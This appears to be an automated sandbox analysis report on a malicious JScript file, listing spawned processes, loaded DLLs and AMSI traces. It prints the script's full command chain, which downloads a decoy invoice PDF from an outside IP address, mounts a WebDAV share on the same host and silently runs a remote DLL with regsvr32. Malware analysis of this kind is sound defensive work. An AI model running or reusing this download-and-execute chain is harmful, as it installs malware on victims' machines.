Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\74771923457277117.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1632,i,1859307735416579305,9552705907612513905,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12657132305821.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1632,i,1859307735416579305,9552705907612513905,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5585.js.csv");ITextStream.WriteLine(" entry:8638 f:egofaq");ITextStream.WriteLine(" exec:2 f:egofaq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
